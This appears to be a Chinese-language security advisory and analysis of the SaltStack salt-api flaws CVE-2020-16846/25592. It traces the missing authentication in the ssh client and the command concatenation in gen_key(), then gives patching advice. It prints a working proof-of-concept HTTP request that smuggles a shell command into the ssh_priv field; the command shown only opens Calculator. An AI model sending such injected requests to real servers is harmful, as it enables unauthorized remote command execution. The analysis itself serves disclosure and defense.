SaltStack未授權訪問及命令執行漏洞分析（CVE-2020-16846/25592）

雲鼎實驗室發表於2020-11-13

一、背景

漏洞概述：

SaltStack是一個分散式運維繫統，在網際網路場景中被廣泛應用，有以下兩個主要功能：  •     配置管理系統，能夠將遠端節點維護在一個預定義的狀態（例如，確保安裝特定的軟體包並執行特定的服務）  •     分散式遠端執行系統，用於在遠端節點上單獨或透過任意選擇標準來執行命令和查詢資料

2020年11月4日，SaltStack 官方釋出了一則安全更新公告，其中CVE-2020-16846和CVE-2020-25592組合使用可在未授權的情況下透過salt-api介面執行任意命令。CVE-2020-25592允許任意使用者呼叫SSH模組，CVE-2020-16846允許使用者執行任意命令。salt-api雖不是預設開啟配置，但絕大多數SaltStack使用者會選擇開啟salt-api，故存在較高風險。

漏洞編號：

CVE-2020-16846、CVE-2020-25592

受影響版本：

  •     3002

  •     3001.1, 3001.2

  •     3000.3, 3000.4

  •     2019.2.5, 2019.2.6

  •     2018.3.5

  •     2017.7.4, 2017.7.8

  •     2016.11.3, 2016.11.6,2016.11.10

  •     2016.3.4, 2016.3.6,2016.3.8

  •     2015.8.10, 2015.8.13

二、漏洞分析及POC

漏洞分析

截至2020年11月11日，補丁程式碼尚未與Github中master分支程式碼合併，故可直接從SaltStack官方Github倉庫獲取，目前master的程式碼版本為3002，系統為Mac，版本號相差較大時程式碼變動較大，需另作分析。 
Salt Version:
          Salt: 3002-56-g3e269eda82
 
Dependency Versions:
          cffi: 1.14.3
      cherrypy: unknown
      dateutil: Not Installed
     docker-py: Not Installed
         gitdb: 4.0.5
     gitpython: 3.1.11
        Jinja2: 2.11.2
       libgit2: Not Installed
      M2Crypto: Not Installed
          Mako: 1.0.7
       msgpack: 1.0.0
  msgpack-pure: Not Installed
  mysql-python: Not Installed
     pycparser: 2.19
      pycrypto: Not Installed
  pycryptodome: 3.9.9
        pygit2: Not Installed
        Python: 3.8.2 (default, Sep 24 2020, 19:37:08)
  python-gnupg: Not Installed
        PyYAML: 5.3.1
         PyZMQ: 19.0.2
         smmap: 3.0.4
       timelib: Not Installed
       Tornado: 4.5.3
           ZMQ: 4.3.2
 
System Versions:
          dist: darwin 19.6.0 
        locale: utf-8
       machine: x86_64
       release: 19.6.0
        system: Darwin
       version: 10.15.6 x86_64

salt-api REST介面預設使用cherrypy框架，從run介面的實現上可以看出透過client引數動態呼叫NetapiClient類中的方法。

文中指定程式碼位置採用以下約定：FileLocation:Classname.method()

salt/netapi/init.py:NetapiClient.run()

SaltStack未授權訪問及命令執行漏洞分析（CVE-2020-16846/25592）

low引數為外部傳入引數，salt.utils.args.format_call方法將引數賦值給**kwargs。

當client引數為ssh時，動態呼叫salt/netapi/init.py:NetapiClient.ssh()，該方法未採用任何鑑權。

salt/netapi/init.py:NetapiClient.ssh()

SaltStack未授權訪問及命令執行漏洞分析（CVE-2020-16846/25592）

跟進，路徑如下：

salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()

salt/client/ssh/client.py:SSHClient._prep_ssh()

SaltStack未授權訪問及命令執行漏洞分析（CVE-2020-16846/25592）

該方法將kwargs外部可控引數更新值opts變數，該變數可以理解為SaltStack系統的環境變數，使用該變數初始化salt.client.ssh.SSH。

salt/client/ssh/init.py:SSH.__init__()

SaltStack未授權訪問及命令執行漏洞分析（CVE-2020-16846/25592）

priv的值從opts變數中獲取，並呼叫salt.client.ssh.shell.gen_key()方法。

salt/client/ssh/shell.py:gen_key()

SaltStack未授權訪問及命令執行漏洞分析（CVE-2020-16846/25592）

該方法中對命令進行拼接，並進行執行。當傳入值為|COMMAND>{} #即可執行COMMAND命令。

POC

由上分析可知，POC如下：

POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|open%20/System/Applications/Calculator.app%3b

SaltStack未授權訪問及命令執行漏洞分析（CVE-2020-16846/25592）

關於復現環境

1. Mac上覆現需要手動建立日誌資料夾、配置資料夾等，並需要手動寫入相關配置。

2. Docker從官方環境拉取的映象中預設沒有SSH，故執行該poc時salt-api會掛掉，經測試3002版本自動重啟，3000.4版本、2019.2.5版本則不會。故當salt-api掛掉時，優先考慮當前機器上是否有SSH軟體。

三、安全建議

1. 儘快修復。由於官方並未放出升級包，故目前仍需要手動進行修復，這裡是官方安全通告和修復補丁。

2. 如非必須使用salt-api，請關閉該功能。

相關文章